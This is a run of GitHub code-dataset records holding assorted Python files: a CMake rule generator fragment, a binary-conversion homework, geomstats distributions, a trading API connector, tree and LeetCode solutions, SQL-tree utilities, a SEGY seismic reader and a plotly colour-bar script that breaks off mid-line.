benchmarks.\n \n Args:\n model_artifacts_dir: root directory to store model files. Can contain CMake\n variable syntax in the path.\n iree_artifacts_dir: root directory to store generated IREE artifacts. Can\n contain CMake variable syntax in the path.\n iree_module_generation_configs: compile configs for IREE targets.\n Returns:\n List of CMake rules.\n \"\"\"\n common_rule_factory = CommonRuleFactory(model_artifacts_dir)\n iree_rules = _generate_iree_rules(common_rule_factory, iree_artifacts_dir,\n iree_module_generation_configs)\n # Currently the rules are simple so the common rules can be always put at the\n # top. Need a topological sort once the dependency gets complicated.\n return common_rule_factory.generate_cmake_rules() + iree_rules\n","repo_name":"smallccn/iree","sub_path":"build_tools/python/e2e_test_framework/cmake_rule_generator.py","file_name":"cmake_rule_generator.py","file_ext":"py","file_size_in_byte":11821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"18385916282","text":"# May Trinh\n# CMPS 4143 - Contemporary Programming Language\n# This program will open a file with decimal number, -1 is the sentinel value that will end the program\n# It will call a recursive function to convert the decimal number to binary number. \n\n#recursive function that returns the binary of a decimal number as a string\ndef recursive_base_2(num):\n # Binary number of 0 and 1 is itself\n if num < 2 :\n binary = num\n else: \n binary = str(recursive_base_2(num//2)) + str(num%2) #call function recursively with integer division\n return binary\n\n\ndef main():\n print(\"\"\"May Trinh\nCMPS 4143 - Contemporary Programming Language\nThis program will open a file with decimal number, -1 is the sentinel value that will end the program\nIt will call a recursive function to convert the decimal number to binary number.\"\"\")\n \n fileName = input(\"Enter a file name: \")\n with open(fileName) as file: #with open does not require .close(). It will close automatically\n data = file.read()\n nums = list(map(int,(data.split()))) # read numbers in as a list\n\n item = 0\n x = nums[item]\n\n #read number from the file until -1 is found\n while x is not -1:\n binary = recursive_base_2(x)\n print(\"{0} = {1}\".format(x,binary))\n item += 1\n x = nums[item]\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n","repo_name":"maysie0110/CMPS-4143-Contemporary-Programming-Language","sub_path":"Assignments/program2.py","file_name":"program2.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23885882296","text":"\"\"\"Statistical Manifold of categorical distributions with the Fisher metric.\n\nLead author: Alice Le Brigant.\n\"\"\"\nfrom scipy.stats import multinomial\n\nimport geomstats.backend as gs\nfrom geomstats.information_geometry.multinomial import (\n MultinomialDistributions,\n MultinomialMetric,\n)\n\n\nclass CategoricalDistributions(MultinomialDistributions):\n r\"\"\"Class for the manifold of categorical distributions.\n\n This is the set of `n+1`-tuples of positive reals that sum up to one,\n i.e. the `n`-simplex. Each point is the parameter of a categorical\n distribution, i.e. gives the probabilities of $n$ different outcomes\n in a single experiment.\n\n Attributes\n ----------\n dim : int\n Dimension of the manifold of categorical distributions. The\n number of outcomes is dim + 1.\n embedding_manifold : Manifold\n Embedding manifold.\n \"\"\"\n\n def __init__(self, dim, **kwargs):\n kwargs.setdefault(\"metric\", CategoricalMetric(dim=dim))\n super().__init__(dim=dim, n_draws=1, **kwargs)\n\n def sample(self, point, n_samples=1):\n \"\"\"Sample from the categorical distribution.\n\n Sample from the multinomial distribution with parameters provided by\n point. This gives samples in the simplex.\n Then take the argmax to get the category associated to the sample drawn.\n\n Parameters\n ----------\n point : array-like, shape=[..., dim + 1]\n Parameters of a categorical distribution, i.e. probabilities\n associated to dim + 1 outcomes.\n n_samples : int\n Number of points to sample with each set of parameters in point.\n Optional, default: 1.\n\n Returns\n -------\n samples : array-like, shape=[..., n_samples]\n Samples from categorical distributions.\n \"\"\"\n point = gs.to_ndarray(point, to_ndim=2)\n samples = []\n for param in point:\n counts = multinomial.rvs(self.n_draws, param, size=n_samples)\n samples.append(gs.argmax(counts, axis=-1))\n return samples[0] if len(point) == 1 else gs.stack(samples)\n\n\nclass CategoricalMetric(MultinomialMetric):\n \"\"\"Class for the Fisher information metric on categorical distributions.\n\n The Fisher information metric on the $n$-simplex of categorical\n distributions parameters can be obtained as the pullback metric of the\n $n$-sphere using the componentwise square root.\n\n References\n ----------\n .. [K2003] R. E. Kass. The Geometry of Asymptotic Inference. Statistical\n Science, 4(3): 188 - 234, 1989.\n \"\"\"\n\n def __init__(self, dim):\n super().__init__(dim=dim, n_draws=1)\n","repo_name":"CharlesKulick/geomstats","sub_path":"geomstats/information_geometry/categorical.py","file_name":"categorical.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72534599734","text":"from conf import ANGEL_TOTP, ANGEL_API_KEY, ANGLE_CLIENT_ID, ANGEL_PIN\nfrom SmartApi import SmartConnect\nimport pyotp\n\nclass AnagelOneConnector:\n def __init__(self):\n self.totp = ANGEL_TOTP\n self.apiKey = ANGEL_API_KEY\n self.clientId = ANGLE_CLIENT_ID\n self.pwd = ANGEL_PIN\n self.authToken = None\n self.refreshToken = None\n \n\n def connect(self):\n smartApi = SmartConnect(self.apiKey)\n totp = pyotp.TOTP(self.totp).now()\n data = smartApi.generateSession(self.clientId, self.pwd, totp)\n # self.authToken = data['data']['jwtToken']\n # self.refreshToken = data['data']['refreshToken']\n # print(self.authToken)\n # feedToken = smartApi.getfeedToken()\n # smartApi.ltpData()\n exchange = 'NFO' \n tradingsymbol = 'BANKNIFTY31AUG2345000PE'\n symboltoken = '60496'\n data = smartApi.ltpData(exchange, tradingsymbol, symboltoken)\n print(data)\n\n\n\n\n\n\n","repo_name":"uvaiskh/AlgoTrade","sub_path":"common/commonFunctions.py","file_name":"commonFunctions.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22328326656","text":"#https://practice.geeksforgeeks.org/problems/top-view-of-binary-tree/1\n\n#Combines Level Order Traversal + Vertical Order Traversal \n\ndef verticalOrder(root):\n queue=[root]\n hd_given_ele={root.data:0} #horizontal distance\n while queue:\n ele=queue.pop(0)\n if(ele.left):\n l=ele.left.data\n queue.append(ele.left)\n hd_given_ele[l]=hd_given_ele[ele.data]-1\n if(ele.right):\n r=ele.right.data\n queue.append(ele.right)\n hd_given_ele[r]=hd_given_ele[ele.data]+1\n \n return hd_given_ele\n \ndef printTopView(root):\n hd_ge=verticalOrder(root)\n queue=[root]\n added=set()\n while queue:\n ele=queue.pop(0)\n h=hd_ge[ele.data]\n if(h not in added):\n added.add(h)\n print(ele.data,end=\" \")\n if(ele.left):\n queue.append(ele.left)\n if(ele.right):\n queue.append(ele.right)","repo_name":"thecodearrow/Algorithms","sub_path":"Data Stuctures/Trees/TopView.py","file_name":"TopView.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"7509646413","text":"import cv2\n\n#load cascade\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalcatface.xml')\n\n#capture video from webcam \ncap = cv2.VideoCapture(0)\n\nwhile True:\n #read frame\n ret, frame = cap.read()\n #convert to gray\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n #detect faces\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n #draw rectangle around faces\n for (x,y,w,h) in faces:\n cv2.rectangle(frame, (x,y), (x+w, y+h), (255,0,0), 2)\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = frame[y:y+h, x:x+w]\n #display frame\n cv2.imshow('frame', frame)\n #wait for key press\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\n","repo_name":"brettsullivan98/face_recognition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20709858385","text":"import pytest\nfrom selenium.webdriver.support import expected_conditions\nimport selenium\n\n\n@pytest.fixture(scope='module')\ndef start():\n start = selenium.webdriver.Chrome(executable_path='D:\\\\learn\\\\projects\\\\test_selenium\\\\chromedriver.exe')\n start.fullscreen_window()\n start.get('https://market.yandex.ru/')\n start.implicitly_wait(20)\n return start\n","repo_name":"Alex-testing/test_selenium","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19761493509","text":"# https://leetcode.com/problems/binary-tree-right-side-view/\n# 199. Binary Tree Right Side View\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def rightSideView(self, root: Optional[TreeNode]) -> List[int]:\n if not root:\n return []\n \n queue = [root]\n out = []\n while queue:\n out.append(queue[-1].val)\n new_queue = []\n for node in queue:\n if node.left:\n new_queue.append(node.left)\n if node.right:\n new_queue.append(node.right)\n \n queue = new_queue\n \n return out\n ","repo_name":"Priyansh121096/leetcode","sub_path":"199.py","file_name":"199.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8179601673","text":"# coding: utf-8\n\nimport random\nimport copy\nfrom typing import List\n\n\nclass Node:\n STATEMENT_TYPE = 0\n ROOT_TYPE = 1\n SELECT_TYPE = 2\n FILTER_TYPE = 3\n ORDER_TYPE = 4\n A_TYPE = 5\n\n COLUMN_TYPE = 11\n TABLE_TYPE = 12\n KEYWORD_TYPE = 13\n\n VALUE_TYPE = '3'\n\n TYPE_DICT = {'SQL': None, 'Statement': STATEMENT_TYPE, 'Root': ROOT_TYPE, 'Select': SELECT_TYPE, 'Filter': FILTER_TYPE,\n 'Order': ORDER_TYPE, 'A': A_TYPE, 'C': COLUMN_TYPE, 'T': TABLE_TYPE, 'Value': VALUE_TYPE}\n KEYWORD_LIST = [\n 'intersect', 'union', 'except', # Statement\n 'asc', 'des', 'limit', # Order\n 'and', 'or', '>', '<', '>=', '<=', '=', '!=', 'between', 'like', 'not_like', 'in', 'not_in', # Filter\n 'max', 'min', 'count', 'sum', 'avg', 'none' # A\n ]\n RULE_TEMPLATES = {\n # SQL\n 'Statement': 'Find out {0}',\n # Statement\n 'intersect Root Root': 'the common part of the set of {0} and the set of {1}',\n 'union Root Root': 'everyone in the set of {0} and the set of {1}',\n 'except Root Root': 'everyone in the set of {0} but not in the set of {1}',\n 'Root': '{0}',\n # Root\n 'Select Filter Order': '{0}, {1}, {2}',\n 'Select Filter': '{0}, {1}',\n 'Select Order': '{0}, {1}',\n 'Select': '{0}',\n # Select\n 'A': '{0}',\n 'A A': '{0} and {1}',\n 'A A A': '{0} , {1} and {2}',\n 'A A A A': '{0} , {1} , {2} and {3}',\n 'A A A A A': '{0} , {1} , {2} , {3} and {4}',\n 'A A A A A A': '{0} , {1} , {2} , {3} , {4} and {5}',\n # A\n 'none C T': 'the {0} of {1}',\n 'max C T': 'the maximum {0} of {1}',\n 'min C T': 'the minimum {0} of {1}',\n 'count C T': 'the number of {0} of {1}',\n 'sum C T': 'the sum of {0} of {1}',\n 'avg C T': 'the average {0} of {1}',\n # Filter\n 'Filter and Filter': '{0} and {1}',\n 'Filter or Filter': '{0} or {1}',\n '= A': 'where {0} is {1}'.format('{0}', VALUE_TYPE),#['where {0} equals to {1}'.format('{0}', VALUE_TYPE), 'where {0} is {1}'.format('{0}', VALUE_TYPE)],\n '> A': 'where {0} greater than {1}'.format('{0}', VALUE_TYPE),\n '< A': 'where {0} less than {1}'.format('{0}', VALUE_TYPE),\n '>= A': 'where {0} greater than or equals to {1}'.format('{0}', VALUE_TYPE),\n '<= A': 'where {0} less than or equals to {1}'.format('{0}', VALUE_TYPE),\n '!= A': 'where {0} not equals to {1}'.format('{0}', VALUE_TYPE),\n 'between A': 'where {0} between {1} and {2}'.format('{0}', VALUE_TYPE, VALUE_TYPE),\n 'like A': 'where {0} like {1}'.format('{0}', VALUE_TYPE),\n 'not_like A': 'where {0} not like {1}'.format('{0}', VALUE_TYPE),\n '= A Root': ['where {0} equals to {1}', 'where {0} is {1}'],\n '> A Root': 'where {0} greater than {1}',\n '< A Root': 'where {0} less than {1}',\n '>= A Root': 'where {0} greater than or equals to {1}',\n '<= A Root': 'where {0} less than or equals to {1}',\n '!= A Root': 'where {0} not equals to {1}',\n 'between A Root': 'where {0} is between {1}', # todo: useless\n 'in A Root': 'where {0} is in the set of {1}',\n 'not_in A Root': 'where {0} is not in the set of {1}',\n # Order\n 'asc A': 'in ascending order of {0}',\n 'des A': 'in descending order of {0}',\n 'asc A limit': 'in ascending order of {0}' + 'with maximum {0} item(s)'.format(VALUE_TYPE),\n 'des A limit': 'in descending order of {0}' + 'with maximum {0} item(s)'.format(VALUE_TYPE),\n }\n RULE_TEMPLATES_WITHOUT_TABLE = copy.copy(RULE_TEMPLATES)\n RULE_TEMPLATES_WITHOUT_TABLE.update({\n 'none C T': 'the {0}',\n 'max C T': 'the maximum {0}',\n 'min C T': 'the minimum {0}',\n 'count C T': 'the number of {0}',\n 'sum C T': 'the sum of {0}',\n 'avg C T': 'the average {0}',\n })\n\n def __init__(self, node_id: int,\n text: str,\n statement: str,\n children_tokens: List[str],\n father=None,\n depth=0):\n self.node_id = node_id\n self.text = text\n self.statement = statement.split(' -> ')[1].strip() # align with irnet.context.grammar\n if text in Node.TYPE_DICT:\n self.type = Node.TYPE_DICT.get(text)\n elif text in Node.KEYWORD_LIST:\n self.type = Node.KEYWORD_TYPE\n else:\n raise Exception('Node type error')\n self._children_tokens = children_tokens\n self.children = []\n self.father = father\n self.depth = depth\n # father_text = 'None' if father is None else father.text\n # print(f'Created node: text={text}, children_tokens={children_tokens}, father={father_text}')\n self.checked: bool = True\n self.more_info = {} # data container for outside operations\n\n def bfs(self, process_f=lambda x: x, node_only=True):\n ret_list = []\n queue = [self]\n while queue:\n node = queue[0]\n del queue[0]\n if isinstance(node, Node):\n ret_list.append(process_f(node))\n elif isinstance(node, str) and not node_only:\n ret_list.append(process_f(node))\n if isinstance(node, Node) and node.children:\n queue += node.children\n return ret_list\n\n def restatement(self, with_table=True):\n # 1. Find if Root node exists in subtree, if unchecked leaved, raise error # todo: may be eliminated\n subtree_nodes = self.bfs()\n if False in [node.checked for node in subtree_nodes if not isinstance(node, str) and node.type == Node.ROOT_TYPE]:\n raise Exception('Unchecked Root node exists, check it first')\n\n # 2. Restate each child\n return self._restate_node(self, with_table=with_table)\n\n def restatement_with_tag(self):\n # 1. Find if Root node exists in subtree, if unchecked leaved, raise error # todo: may be eliminated\n subtree_nodes = self.bfs()\n if False in [node.checked for node in subtree_nodes if\n not isinstance(node, str) and node.type == Node.ROOT_TYPE]:\n raise Exception('Unchecked Root node exists, check it first')\n\n # 2. Restate each child\n return self._restate_node_with_tag(self)\n\n @staticmethod\n def _restate_node(node, with_table=True):\n if isinstance(node, str) and node not in Node.KEYWORD_LIST:\n raise Exception('WA!!!')\n node_statement = node.statement\n templates = Node.RULE_TEMPLATES if with_table else Node.RULE_TEMPLATES_WITHOUT_TABLE\n if node_statement in templates:\n rule_template = templates.get(node_statement)\n if isinstance(rule_template, List):\n rule_template = random.sample(rule_template, 1)[0]\n format_strings = []\n for child in node.children:\n if isinstance(child, str) and child in Node.KEYWORD_LIST:\n continue\n format_strings.append(Node._restate_node(child, with_table=with_table))\n return rule_template.format(*format_strings)\n else:\n return ' '.join(node_statement.split('_')) if node_statement is not '*' else 'items' # select *\n\n @staticmethod\n def _restate_node_with_tag(node, with_table=True):\n if isinstance(node, str) and node not in Node.KEYWORD_LIST:\n raise Exception('WA!!!')\n node_statement = node.statement\n templates = Node.RULE_TEMPLATES if with_table else Node.RULE_TEMPLATES_WITHOUT_TABLE\n if node_statement in templates:\n rule_template = templates.get(node_statement)\n if isinstance(rule_template, List):\n rule_template = random.sample(rule_template, 1)[0]\n sub_strings = []\n sub_string_tags = []\n for child in node.children:\n if isinstance(child, str) and child in Node.KEYWORD_LIST:\n continue\n node_restatement_string, node_restatement_tag = Node._restate_node_with_tag(child)\n sub_strings.append(node_restatement_string)\n sub_string_tags.append(node_restatement_tag)\n restatement_string = rule_template.format(*sub_strings)\n restatement_tag = []\n nonterminal_children = [_ for _ in node.children if isinstance(_, Node)]\n for word in rule_template.split():\n if word.startswith('{') and word.endswith('}'):\n placeholder_idx = int(word[1:-1])\n if sub_string_tags[placeholder_idx] is not None:\n restatement_tag += sub_string_tags[placeholder_idx]\n else:\n restatement_tag += nonterminal_children[placeholder_idx].text * len(sub_strings[placeholder_idx].split())\n else:\n restatement_tag.append(node.text)\n return restatement_string, restatement_tag\n else:\n return ' '.join(node_statement.split('_')) if node_statement is not '*' else 'items', None\n # todo: tag of table and column with split char\n\n @staticmethod\n def print_subtree(node):\n def _print_subtree(node):\n print(' ' * node.depth + node.text)\n for child in node.children:\n if isinstance(child, Node):\n _print_subtree(child)\n else:\n print(' ' * (node.depth + 1) + child)\n\n _print_subtree(node)\n\n def clear_more_info_recursively(self, keys=None):\n if keys is None:\n def clear_more_info(node):\n node.more_info.clear()\n else:\n def clear_more_info(node):\n for key in keys:\n if key in node.more_info:\n del node.more_info[key]\n\n self.bfs(process_f=clear_more_info)\n\n def compare_node(self, node) -> bool:\n if self.type == node.type and self.children == node.children:\n return True\n else:\n return False\n\n def compare_tree(self, node) -> bool:\n if self.type != node.type or self.statement != node.statement:\n self.more_info['subtree_equal'] = node.more_info['subtree_equal'] = False\n self.bfs(lambda x: x.more_info.update({'subtree_equal': False}))\n node.bfs(lambda x: x.more_info.update({'subtree_equal': False}))\n return False\n else:\n assert len(self.children) == len(node.children)\n status = True\n for child1, child2 in zip(self.children, node.children):\n if isinstance(child1, str) or isinstance(child2, str):\n if child1 != child2:\n status = False\n elif child1.compare_tree(child2) is False:\n status = False\n self.more_info['subtree_equal'] = node.more_info['subtree_equal'] = status\n self.bfs(lambda x: x.more_info.update({'subtree_equal': status}))\n node.bfs(lambda x: x.more_info.update({'subtree_equal': status}))\n return status\n\n @staticmethod\n def from_statements(statements):\n root, _ = parse_sql_tree(statements)\n return root\n\n\ndef is_nonterminal(token):\n letter = token[0]\n if ord('A') <= ord(letter) <= ord('Z'):\n return True\n else:\n return False\n\n\ndef parse_sql_tree(tree_statements):\n # print(tree_statements)\n max_depth = -1\n depth = 0\n stack = []\n root = Node(0, 'SQL', 'SQL -> Statement', ['Statement'], depth=0)\n stack.append(root)\n for state_id, statement in enumerate(tree_statements):\n assert statement.split(' -> ')[0] == stack[-1]._children_tokens[0] # non-terminal match\n # print(f'statement = {statement}')\n nonterminal, children = statement.split('->')\n nonterminal = nonterminal.strip()\n children = [child.strip() for child in children.strip().split(' ')]\n node = Node(state_id, nonterminal, statement, children, father=stack[-1], depth=depth)\n stack[-1].children.append(node)\n del stack[-1]._children_tokens[0]\n stack.append(node)\n depth += 1\n max_depth = max(max_depth, depth)\n while stack:\n # move terminal tokens from children_tokens into children\n while stack[-1]._children_tokens and not is_nonterminal(stack[-1]._children_tokens[0]):\n stack[-1].children.append(stack[-1]._children_tokens[0])\n del stack[-1]._children_tokens[0]\n # layer up if no child waiting for process\n if len(stack[-1]._children_tokens) == 0:\n stack.pop()\n depth -= 1\n if len(stack) == 0:\n return root, max_depth\n else:\n break\n return root, max_depth\n\n\nif __name__ == '__main__':\n # sql_tree = ['Statement -> Root', 'Root -> Select Filter',\n # 'Select -> A', 'A -> count C T', 'C -> budget_in_billions', 'T -> department',\n # 'Filter -> > A', 'A -> none C T', 'C -> age', 'T -> head']\n sql_tree = ['Statement -> Root', 'Root -> Select Filter',\n 'Select -> A', 'A -> sum C T', 'C -> enr', 'T -> college',\n 'Filter -> not_in A Root', 'A -> none C T', 'C -> cname', 'T -> college',\n 'Root -> Select Filter',\n 'Select -> A', 'A -> none C T', 'C -> cname', 'T -> tryout',\n 'Filter -> = A', 'A -> none C T', 'C -> ppos', 'T -> tryout']\n root, max_depth = parse_sql_tree(sql_tree)\n Node.print_subtree(root)\n restatement = root.restatement_with_tag()\n print(restatement)\n","repo_name":"microsoft/ContextualSP","sub_path":"interactive_text_to_sql/src/utils/semql_tree_util.py","file_name":"semql_tree_util.py","file_ext":"py","file_size_in_byte":13838,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"21"} +{"seq_id":"75054635893","text":"m = int(input())\n\nfor j in range(m):\n\tn = int(input())\n\tmaxLen = 0\n\tstartIndex = 0\n\ts = {}\n\n\tfor i in range(n):\n\t\tnewNum = int(input())\n\t\tlastIndex = s.get(newNum)\n\t\ts[newNum] = i\n\t\tif lastIndex is not None and (lastIndex >= startIndex):\n\t\t\t#print(f\"Duplicate of {newNum} found\")\n\t\t\tstartIndex = lastIndex+1\n\t\tmaxLen = max(maxLen,i-startIndex+1)\n\t\t#print(f\"last occ was {lastIndex}, current max is {maxLen}\")\n\tprint(maxLen)\n","repo_name":"jolitti/codingdei","sub_path":"old/snowflakes.py","file_name":"snowflakes.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21511876594","text":"\ncluster_cache_dir = \"/mnt/ds3lab-scratch/dslab2019/shghosh/preprocessed\" #Cache dir on cluster\nlocal_cache_dir = \"./preprocessed\" #Cache dir -- local\n\ncluster_base_dir = \"/mnt/ds3lab-scratch/bhendj/data\"\nlocal_base_dir = \".\"\n\noriginal_obs_x_highres = 253\noriginal_obs_y_highres = 375\n\nappended_obs_x_highres = 256\nappended_obs_y_highres = 384\n\noriginal_obs_x_lowres = 127\noriginal_obs_y_lowres = 188\n\nappended_obs_x_lowres = 128\nappended_obs_y_lowres = 192\n\noriginal_pred_x = 127\noriginal_pred_y = 188\n\nappended_pred_x = 128\nappended_pred_y = 192\n","repo_name":"butoialexandra/Realistic-looking-rainfall-forecasts","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"13705563845","text":"# -*- coding: utf-8 -*-\nimport segyio\nimport math\nimport numpy as np \n#read information of seismic data\n###############################################################################\n\ndef getSEGYInformation(filename):\n print(\"### Get Datafile Informaton:\")\n print(\" Data file --> [%s]\"%(filename))\n \n mTrace = 0\n nTrace = 0\n nSample = 0\n startT = 0\n deltaT = 0\n sortCode = 0\n formatFlag = 0\n \n with segyio.open(filename,\"r\",ignore_geometry = True) as f:\n f.mmap()\n mTrace = f.tracecount\n nTrace = f.bin[segyio.BinField.Traces]\n nSample = f.bin[segyio.BinField.Samples]\n deltaT = f.bin[segyio.BinField.Interval]\n sortCode = f.bin[segyio.BinField.SortingCode]\n formatFlag = f.bin[segyio.BinField.Format]\n f.close()\n \n return (mTrace,nTrace,nSample,startT,deltaT,sortCode,formatFlag)\n#End of getSEGYInformation\n\n#read Seismic Data\n###############################################################################\ndef readSEGYData(filename):\n print(\"### Reading SEGY-formatted Seismic Data:\")\n print(\" Data file --> [%s]\" % (filename))\n \n nTrace = 0\n nSample = 0\n startT = 0\n deltaT = 0\n \n with segyio.open(filename,\"r\",ignore_geometry = True) as f:\n f.mmap()\n nTrace = f.tracecount\n nSample = f.bin[segyio.BinField.Samples]\n deltaT = f.bin[segyio.BinField.Interval]\n \n print(\"### Number of Trace = %d\" %(nTrace))\n print(\"### Number of Samples = %d\" %(nSample))\n print(\"### Start Sample = %d\" %(startT))\n print(\"### Sampling Rate = %d\" %(deltaT))\n \n print(\"====================================\")\n print(\" Trace X-coord Y-coord\")\n print(\"====================================\")\n for i in range(0,nTrace,math.floor(nTrace/10)):\n id = f.header[i][segyio.TraceField.TRACE_SEQUENCE_LINE]\n x = f.header[i][segyio.TraceField.GroupX]\n y = f.header[i][segyio.TraceField.GroupY]\n print(\" %8d%12.2f%12.2f\"%(id,x,y))\n print(\"====================================\")\n \n mySeis = np.zeros((nTrace,nSample),dtype = np.float32)\n for i in range(nTrace):\n for j in range(nSample):\n mySeis[i][j] = f.trace[i][j]\n f.close()\n \n return (mySeis)\n#End of readSEGYData","repo_name":"cicyby/SEGY_Reader","sub_path":"kernel/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33601199274","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom PyQt5.QtWidgets import QWidget, QHBoxLayout, QSplitter\n\nfrom componment.left_frame import LeftFrame\nfrom componment.middle_frame import MiddleFrame\nfrom componment.right_frame import RightFrame\nfrom tools.config import GlobalContext, Const\n\n\nclass LmrManager(QWidget):\n\n def __init__(self):\n super(LmrManager, self).__init__()\n\n self.h_layout = QHBoxLayout()\n\n self.left_frame = LeftFrame()\n\n self.middle_frame = MiddleFrame()\n self.right_frame = RightFrame()\n\n self.mr_splitter = QSplitter()\n\n # 缩小三个框直接的缝隙\n self.mr_splitter.setHandleWidth(1)\n\n self.mr_splitter.insertWidget(0, self.middle_frame)\n self.mr_splitter.insertWidget(1, self.right_frame)\n\n self.mr_splitter.setStretchFactor(0, 1) # 全屏后保持1:4的比例,但是之前设置的最小宽度此时可能就比较小了\n self.mr_splitter.setStretchFactor(1, 4)\n\n # 设置为不可拖动至隐藏\n self.mr_splitter.setCollapsible(0, False)\n self.mr_splitter.setCollapsible(1, False)\n\n self.h_layout.addWidget(self.left_frame)\n self.h_layout.addWidget(self.mr_splitter)\n\n self.setLayout(self.h_layout)\n\n","repo_name":"pleuvoir/like-me-learn","sub_path":"componment/lmr_mgr.py","file_name":"lmr_mgr.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"41413790576","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 1 17:03:23 2019\n\n@author: instalador\n\"\"\"\nimport numpy as np\nimport plotly.graph_objects as go\n\nfrom plotly.subplots import make_subplots\n\nfrom matplotlib.colors import ListedColormap, LinearSegmentedColormap\nfrom matplotlib import cm\nfrom collections import OrderedDict\n\n\ndef Reverse_ColorBar(Bar_input):\n Bar_output = np.zeros(Bar_input.shape)\n for k in range(Bar_input.shape[0]):\n Bar_output[k,:] = Bar_input[Bar_input.shape[0]-1-k,:] \n return Bar_output\n\n\n#------------------------------------------------------------------------------\ndef ColorMap():\n cmp_list = [ 'viridis','Greys', 'Purples', 'Blues', 'Greens', 'Oranges', 'Reds',\n 'YlOrBr' , 'YlOrRd', 'OrRd', 'PuRd', 'RdPu', 'BuPu',\n 'GnBu', 'PuBu', 'YlGnBu', 'PuBuGn', 'BuGn', 'YlGn']\n c_map = cm.get_cmap(cmp_list[0]+'', 256) # ''= normal, '_r' = reversed\n color_BAR = c_map(np.linspace(0, 1, 64))\n \n matlab = 'inicial' #-----------el de Matlab---------------\n matlab = 'new'\n if matlab == 'inicial': \n color_BAR_r = Reverse_ColorBar(color_BAR)\n c_map = ListedColormap(color_BAR_r) \n return c_map,color_BAR,\n#------------------------------------------------------------------------------\ndef barra_RGB(color_BAR):\n# 'rgb(0.9553 , 0.901065, 0.118128)'\n color_BAR_RGB = []\n for color in color_BAR:\n color_RGB = 'rgb('+str(color[0])+','+str(color[1])+','+str(color[2])+')'\n color_BAR_RGB.append(color_RGB)\n \n return color_BAR_RGB\n \n#------------------------------------------------------------------------------\ndef plot_ColorBar(dib,RGB_bar,Vref):\n D = Vref/64\n d = D/2\n \n for k in range(64):\n p_x = 1\n p_y = k*D+d\n dib.add_shape(go.layout.Shape(type=\"rect\",x0=p_x-d,y0=p_y-d,x1=p_x+d,y1=p_y+d,\n line=dict(color=RGB_bar[k]),\n fillcolor=RGB_bar[k]),secondary_y=True,row=1, col=2)\n dib.update_xaxes(range=[0.5, 1], showgrid=False,title_text=\"\",showticklabels=False, row=1, col=2)\n# dib.update_yaxes(range=[0, Vref], showgrid=False ,title_text=\"yaxis izda2 title\" ,secondary_y=False, row=1, col=2)\n dib.update_yaxes(range=[0, Vref], showgrid=False ,title_text=\"yaxis dcha2 title\" ,secondary_y=True, row=1, col=2)\n \n return\n#------------------------------------------------------------------------------\ndef add_text(dib,texto,x0,y0,color):\n dib.add_trace(go.Scatter(x=x0,y=y0,text=texto, mode=\"text\",orientation ='v',textposition=\"bottom center\",\n# textfont=dict(family=\"sans serif\", size=18, color=color )\n ), row=1, col=1)\n return\n#------------------------------------------------------------------------------\ndef add_patch(dib,p_x,p_y, color):\n dib.add_shape(go.layout.Shape(type=\"rect\",x0=p_x-0.25,y0=p_y-0.25,x1=p_x+0.25,y1=p_y+0.25,\n line=dict(color=color), fillcolor=color), row=1, col=1 )\n return\n#------------------------------------------------------------------------------\ndef add_polygon(dib,x_points,y_points,color):\n camino = 'M' \n for index,k in enumerate(x_points):\n camino = camino + ' '+ str(x_points[index]) +','+str(y_points[index])\n if index < np.size(x_points)-1:\n camino = camino + ' L'\n camino = camino + ' Z'\n print(camino)\n \n dib.add_shape(go.layout.Shape(type=\"path\",path=camino,fillcolor=color),line_color=color, row=1, col=1)\n \n \n return\n#------------------------------------------------------------------------------\n \nc_mapa,color_barra = ColorMap()\nRGB_bar = barra_RGB(color_barra) # to generate in rgb(0.267004,0.004874,0.329415)\n\n\n\n\nfig = make_subplots(rows=1, cols=2, column_widths=[10, 0.5], subplot_titles=(\"Plot 1\", \"\"),specs=[[{\"secondary_y\": False}, {\"secondary_y\": True}]] )\n\n\n\n\n\n#fig.add_shape(go.layout.Shape(type=\"path\",path=\" M 4,4 L 1,8 L 3,9 L3,8 L4,6 L4,5 